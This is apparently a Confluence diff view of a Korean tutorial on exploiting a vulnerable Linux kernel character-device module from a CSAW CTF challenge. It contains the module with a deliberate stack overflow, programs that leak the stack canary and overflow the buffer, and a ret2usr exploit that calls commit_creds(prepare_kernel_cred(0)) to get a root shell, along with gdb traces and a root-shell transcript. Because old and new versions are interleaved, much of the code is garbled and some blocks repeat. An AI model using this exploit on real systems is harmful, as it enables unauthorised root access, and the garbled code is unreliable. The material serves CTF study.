Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagecpp
titlechardev.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
 
MODULE_LICENSE("Dual BSD/GPL");
 
#define DRIVER_NAME "chardev"
#define BUFFER_SIZE 64
      
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 2;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
  
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static loff_t chardev_lseek(struct file *, loff_t, int);
 
struct file_operations chardev_fops = {
    .release = chardev_release,
    .read    = chardev_read,
    .write   = chardev_write,
    .llseek  = chardev_lseek,
};
 
struct data {
    unsigned char buffer[BUFFER_SIZE];
};
 
static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    dev_t dev;
  
    printk("The chardev_init() function has been called.");
      
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
  
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
  
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
  
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
  
    device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE);
  
    return 0;
}
  
static void chardev_exit(void)
{
    int minor;
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
      
    printk("The chardev_exit() function has been called.");
      
    for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) {
        device_destroy(chardev_class, MKDEV(chardev_major, minor));
    }
  
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
  
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_release() function has been called.");
    if (file->private_data) {
        kfree(file->private_data);
        file->private_data = NULL;
    }
    return 0;
}
  
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    char data[BUFFER_SIZE];
    printk("The chardev_write() function has been called.");  
    printk("Before calling the copy_from_user() function : %p",data);
    if (_copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
/*
    if (copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
    if (__copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
*/
    printk("After calling the copy_from_user() function : %p",data);
    return count;
}
  
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
    char data[BUFFER_SIZE];
 
    printk("The chardev_read() function has been called.");
    memset(data, 0, sizeof(data));
    strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    printk("MSG : %s\n",data);
    printk("f_pos : %lld\n",*f_pos);
    if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) {
        return -EFAULT;
    }
  
    return count;
}
 
static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) {
    loff_t new_pos = 0;
    printk("The device_lseek() function has been called.");
    switch(orig) {
        case 0 : /*seek set*/
            new_pos = offset;
            break;
        case 1 : /*seek cur*/
            new_pos = file->f_pos + offset;
            break;
        case 2 : /*seek end*/
            new_pos = BUFFER_SIZE - offset;
            break;
    }
    if(new_pos > BUFFER_SIZE)
        new_pos = BUFFER_SIZE;
    if(new_pos < 0)
        new_pos = 0;
    file->f_pos = new_pos;
    return new_pos;
}
 
module_init(chardev_init);
module_exit(chardev_exit);

...

Code Block
titletest.c
//gcc -static -o test test.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
  
#define TEXT_LEN 64
  
int main()
{
    static char buf[128];
    int fd;
   
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }
   
    memset (buf, 'A', TEXT_LEN);
  
    if (read(fd, buf, TEXT_LEN) < 0){
        printf("An error occurred in the read.\n");
    }else{
        printf("%s\n", buf);
    }
   
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

...

  • Canary 값을 추출하기 위해 다음과 같이 코드를 작성합니다.

    • lseek() 함수를 이용하여 fd의 포인트 위치로 부터 16 byte 뒤로 이동합니다.

    • read() 함수를 이용하여 fd 영역의 값을 buf영역에 저장합니다.

    • memcpy() 함수를 이용하여 "buf+48"영역으로 부터 8 byte를 "canaryval"변수에 복사합니다. 

      • Canary는 data 변수의 시작 주소로 부터 64byte 떨어져 있고, lseek() 함수를 이용하여 fd의 포인터의 위치를 16byte를 뒤로 이동했기 때문에 "buf"변수에 저장된 Canary의 위치는 "buf+48"가 됩니다.(64 - 16 = 48)
Code Block
languagecpp
titleleak.c
//gcc -static -o leak leak.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
  
#define TEXT_LEN 64
  
int main()
{
    static char buf[128];
    char canaryval[8];
    int fd,i,j;
 
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
	return 0;
    }

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);
    
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canaryval, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary is :": %p\n", (void *)canary);

    for(i if (close(fd) != 0;i < 8;i++){
        printf("%02xCannot ",canary[i] & 0xff);
    }
    printf("\n");

    if (close(fd) != 0){
        printf("Cannot close.\n");
    close.\n");
    }
    return 0;
}
  • Canary가 정상적으로 추출되는지 확인하기 위해 해당 코드를 빌드 후 실행합니다.
    • 디버거에서 확인한 Canary의 값은 0x7fc22694 입니다.

...

Code Block
languagecpp
titleOverflow.c
//gcc -static -o overflow Overflowoverflow.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#define TEXT_LEN 64

int main()
{
    static char buf[512],;
    size_t rop[512]; 
    char canaryval[8];
    int fd,i,j;
 
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    printf("%s\n",buf);
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canaryval, buf+48,8);
    printf("canary is :");
    for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xffsize_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);
 
    int k = 8;
    memset(&rop[0], 0x41, 64);
    memcpy(rop+64,canary,8)[k++] = canary;
    memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA
    memset(rop+80,'B',8);[k++] = 0x4242424242424242; //BBBBBBBB
    memset(rop+88,'C',8);[k++] = 0x4343434343434343; //CCCCCCCC
    memset(rop+96,'D',8);[k++] = 0x4444444444444444; //DDDDDDDD
    memset(rop+104,'E',8);[k++] = 0x4545454545454545; //EEEEEEEE
    memset(rop+112,'F',8);[k++] = 0x4646464646464646; //FFFFFFFF
 
    write(fd, rop, 120);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

...

Code Block
titleaddress.c
//gcc -masm=intel -static -o address address.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
 
#define TEXT_LEN 64
 
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

unsigned long kallsym_getaddr(const char* str)
{
	FILE *stream;
	char fbuf[256];
	char addr[32];

	streamvoid *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;

void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];
   
    fp = fopen("/proc/kallsyms", "r");
	if(stream  < 0)
	{
		printf("failed to open /proc/kallsyms\n");
		return 0;
	}

	memset(fbuf,0x00,sizeof(fbuf));
	
	while(fgets(fbuf,256,stream) != NULL)
	{
		char *p = fbuf;
		char *a = addr;

		if(strlen(fbuf  while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0)
			continue;

		memset(addr,0x00,sizeof(addr));
		fbuf[strlen(fbuf)-1] = '\0';

		while(*p != ' ')
			*a++ = *p++;

		p += 3;
		if(!strcmp(p,str))
			return strtoul(addr, NULL, 16);
	}

	return 0 {
            break;
        }else{
            addr = NULL;
        }
    }
    fclose(fp);
    return addr;
}

int main()
{
    static char buf[512],;
    size_t rop[512]; 
    char canaryval[8];
    int fd,i,j;
 
    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);

    //Find the address of "commit_creds()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); 

    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
	return 0;
    }

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canaryval, buf+48,8);
    printf("size_t canary is :");
= ((size_t *)val)[0];

    for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff);
printf("[+]canary: %p\n", (void *)canary);
 
    int k = 8;
    memset(&rop[0], 0x41, 64);
    memcpy(rop+64,canary,8)[k++] = canary;
    memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA
    memset(rop+80,'B',8);[k++] = 0x4242424242424242; //BBBBBBBB
    memset(rop+88,'C',8);[k++] = 0x4343434343434343; //CCCCCCCC
    memset(rop+96,'D',8);[k++] = 0x4444444444444444; //DDDDDDDD
    memset(rop+104,'E',8);[k++] = 0x4545454545454545; //EEEEEEEE
    memset(rop+112,'F',8);
    write(fd, rop, 120);
[k++] = 0x4646464646464646; //FFFFFFFF
 
    write(fd, rop, 104120);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

...

Code Block
languagecpp
titleBack up and restore the stack pointer.
//gcc -masm=intel -static -o test test.c
unsigned long __attribute__((regparm(3)))
...
void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(unsignedvoid long*) cred);
unsigned  long
struct __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
  
struct trap_frame {
    void trap_frame {
    void     *user_rip ;        ;		// instruction pointer
    uint64_t user_cs ;      ;		// code segment
    uint64_t user_rflags ;  	// CPU flags
    void     *user_rsp ;        ;		// stack pointer
    uint64_t user_ss ;      ;		// stack segment
} __attribute__((packed));
struct trap_frame tf;
   
void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}
   
void prepare_tf(void) {
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
        );
    tf.user_rip = &getShell ;
}
    
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov %%rsp, %0;"
        "iretq;"
    : : "r" (&tf));
}

...

    //Exploit code
    int k = 8;
    memset(&rop[0], 0x41, 64);
    memcpy(rop+64,canary,8)[k++] = canary;
    memset(rop+72,'A',8)[k++] = 0;
    memset(rop+80,'B',8);
    memset(rop+88,'C',8)[k++] = 0;
    rop[k++] = 0;
    *(void**)(rop+96)rop[k++] = &(size_t)payload;
    
    prepare_tf();
  
    //Overflow
    write(fd, rop, 1048*k++);
...
  • 추가된 코드를 이용하여 모듈을 디버깅하기 위해 모듈을 새로 등록하고 주소값을 확인합니다.
  • 디버깅할 함수는 chardev_write이며, 주소는 0xffffffffc01a10d0 입니다.

...

Code Block
titleChanges in Registers
Breakpoint 3, 0x00000000004010cf in ?? ()
(gdb) si
0x00000000004010d4 in ?? ()
(gdb) i r rax
rax            0x6c4e80            7097984
(gdb) i r
rax            0x6c4e80            7097984
rbx            0xffffffff8109d760  -2130061472
rcx            0xcd                205
rdx            0xce                206
rsi            0x40                64
rdi            0xffff880008e98dc0  -131941245809216
rbp            0xffff880029fafec0  0xffff880029fafec0
rsp            0xffff880029fafeb0  0xffff880029fafeb0
r8             0xffff880034a2e0f8  -131940512243464
r9             0xffff88003f807c00  -131940329948160
r10            0xffff880023a63560  -131940797237920
r11            0x0                 0
r12            0x4242424242424242  4774451407313060418
r13            0x68                104
r14            0xffff880029faff20  -131940691017952
r15            0x0                 0
rip            0x4010d4            0x4010d4
eflags         0x246               [ PF ZF IF ]
cs             0x10                16
ss             0x18                24
ds             0x0                 0
es             0x0                 0
fs             0x63                99
gs             0x0                 0
(gdb) si
0x00000000004010d7 in ?? ()
(gdb) i r
rax            0x6c4e80            7097984
rbx            0xffffffff8109d760  -2130061472
rcx            0xcd                205
rdx            0xce                206
rsi            0x40                64
rdi            0xffff880008e98dc0  -131941245809216
rbp            0xffff880029fafec0  0xffff880029fafec0
rsp            0xffff880029fafeb0  0xffff880029fafeb0
r8             0xffff880034a2e0f8  -131940512243464
r9             0xffff88003f807c00  -131940329948160
r10            0xffff880023a63560  -131940797237920
r11            0x0                 0
r12            0x4242424242424242  4774451407313060418
r13            0x68                104
r14            0xffff880029faff20  -131940691017952
r15            0x0                 0
rip            0x4010d7            0x4010d7
eflags         0x246               [ PF ZF IF ]
cs             0x10                16
ss             0x18                24
ds             0x0                 0
es             0x0                 0
fs             0x63                99
gs             0x0                 0
(gdb) si
0x00000000004010da in ?? ()
(gdb) i r rsp
rsp            0x6c4e80            0x6c4e80
(gdb) x/i $rip
=> 0x4010da:	iretq  
(gdb) si
0x000000000040105e in ?? ()
(gdb) x/10i $rip
=> 0x40105e:	push   rbp
   0x40105f:	mov    rbp,rsp
   0x401062:	mov    edx,0x0
   0x401067:	mov    esi,0x494108
   0x40106c:	mov    edi,0x49410b
   0x401071:	mov    eax,0x0
   0x401076:	call   0x4340f0
   0x40107b:	pop    rbp
   0x40107c:	ret    
   0x40107d:	push   rbp
(gdb) c
Continuing.
  • 다음과 같이 ret2usr를 이용하여 shell을 획득하게 됩니다.
Code Block
titleGet shell
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./test
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

c3 47 d4 a9 00 00 00 00 a0 2c 6c 00 00 00 00 00  | ?Gԩ?,l
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Exploit code

  • 다음과 같이 Exploit code를 완성할 수 있습니다.
Code Block
languagecpp
titleexploit.c
//gcc -masm=intel -static -o exploit exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
  
#define TEXT_LEN 64
 
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned  edx,0x0
   0x401067:	mov    esi,0x494108
   0x40106c:	mov    edi,0x49410b
   0x401071:	mov    eax,0x0
   0x401076:	call   0x4340f0
   0x40107b:	pop    rbp
   0x40107c:	ret    
   0x40107d:	push   rbp
(gdb) c
Continuing.
  • 다음과 같이 ret2usr를 이용하여 shell을 획득하게 됩니다.
Code Block
titleGet shell
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./r2u
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

c3 47 d4 a9 00 00 00 00 a0 2c 6c 00 00 00 00 00  | ?Gԩ?,l
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Exploit code

  • 다음과 같이 Exploit code를 완성할 수 있습니다.
Code Block
languagecpp
titleexploit.c
//gcc -masm=intel -static -o r2u exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
 
#define TEXT_LEN 64
 
void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;

struct trap_frame {
    void     *user_rip;		// instruction pointer
    uint64_t user_cs;		// code segment
    uint64_t user_rflags;	// CPU flags
    void     *user_rsp;		// stack pointer
    uint64_t user_ss;		// stack segment
} __attribute__((packed));
struct trap_frame tf;
   
void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}
   
void prepare_tf(void) {
    asm("mov tf+8, cs;"long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
 
struct trap_frame {
    void *user_rip ;        // instruction pointer
    uint64_t user_cs ;       // code segment
    uint64_t user_rflags ;       // CPU flags
    void *user_rsp ;        // stack pointer
    uint64_t user_ss ;       // stack segment
} __attribute__((packed));
struct trap_frame tf;
  
void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}
  
void prepare_tf(void) {
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
        );
    tf.user_rip = &getShell ;
}
   
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
	    "mov %%rsp, %0;"
        "iretq;"
    : : "r" (&tf));
}
 
unsigned long kallsym_getaddr(const char* str)
{
    FILE *stream;
    char fbuf[256];
    char addr[32];
 
    stream = fopen("/proc/kallsyms","r");
    if(stream < 0)
    {
        printf("failed to open /proc/kallsyms\n");
        return 0;"pushf; pop tf+16;"
    }
 
    memset(fbuf,0x00,sizeof(fbuf));"mov tf+24, rsp;"
     
    while(fgets(fbuf,256,stream) != NULL)"mov tf+32, ss;"
    {
    );
    char *p = fbuf;
tf.user_rip = &getShell ;
}
    
void payload(void)
{
   char *a = addr;
  commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
	"mov %%rsp, %0;"
        if(strlen(fbuf) == 0)
       "iretq;"
    : : "r" (&tf));
}
void *kallsym_getaddr(char *name)
{
    FILE continue*fp;
  
  void *addr;
     memset(addr,0x00,sizeof(addr))char sym[512];
   
     fbuf[strlen(fbuf)-1] = '\0'fp = fopen("/proc/kallsyms", "r");
 
   while (fscanf(fp, "%p %*c  while(*p != ' ')%512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name)  *a++ = *p++;
 
== 0) {
          p += 3break;
        if(!strcmp(p,str))}else{
            return strtoul(addr, NULL, 16);addr = NULL;
        }
    }
    fclose(fp);
    return 0addr;
}
 
int main()
{
    static char buf[512],;
    size_t rop[512] = {0}; 
    char canaryval[8];
    int fd,i,j;
 
    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);
 
    //Find the address of "commit_creds()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); 
 
    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    	return 0;
    }
 
    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);
 
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }
 
    memcpy(canaryval, buf+48,8);
    printf("canary is :");size_t canary = ((size_t *)val)[0];

    for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff[+]canary: %p\n", (void *)canary);
 
    int k //Exploit code= 8;
    memset(&rop[0], 0x41, 64);
    memcpy(rop+64,canary,8)[k++] = canary;
    memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA
    memset(rop+80,'B',8);
    memset(rop+88,'C',8);[k++] = 0x4242424242424242; //BBBBBBBB
    *(void**)(rop+96)rop[k++] = &payload;0x4343434343434343; //CCCCCCCC
    memset(rop+104,'D',8)[k++] = (size_t)payload;
 
    prepare_tf();
 
    //Overflow
    write(fd, rop, 1048*k++);
 
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

...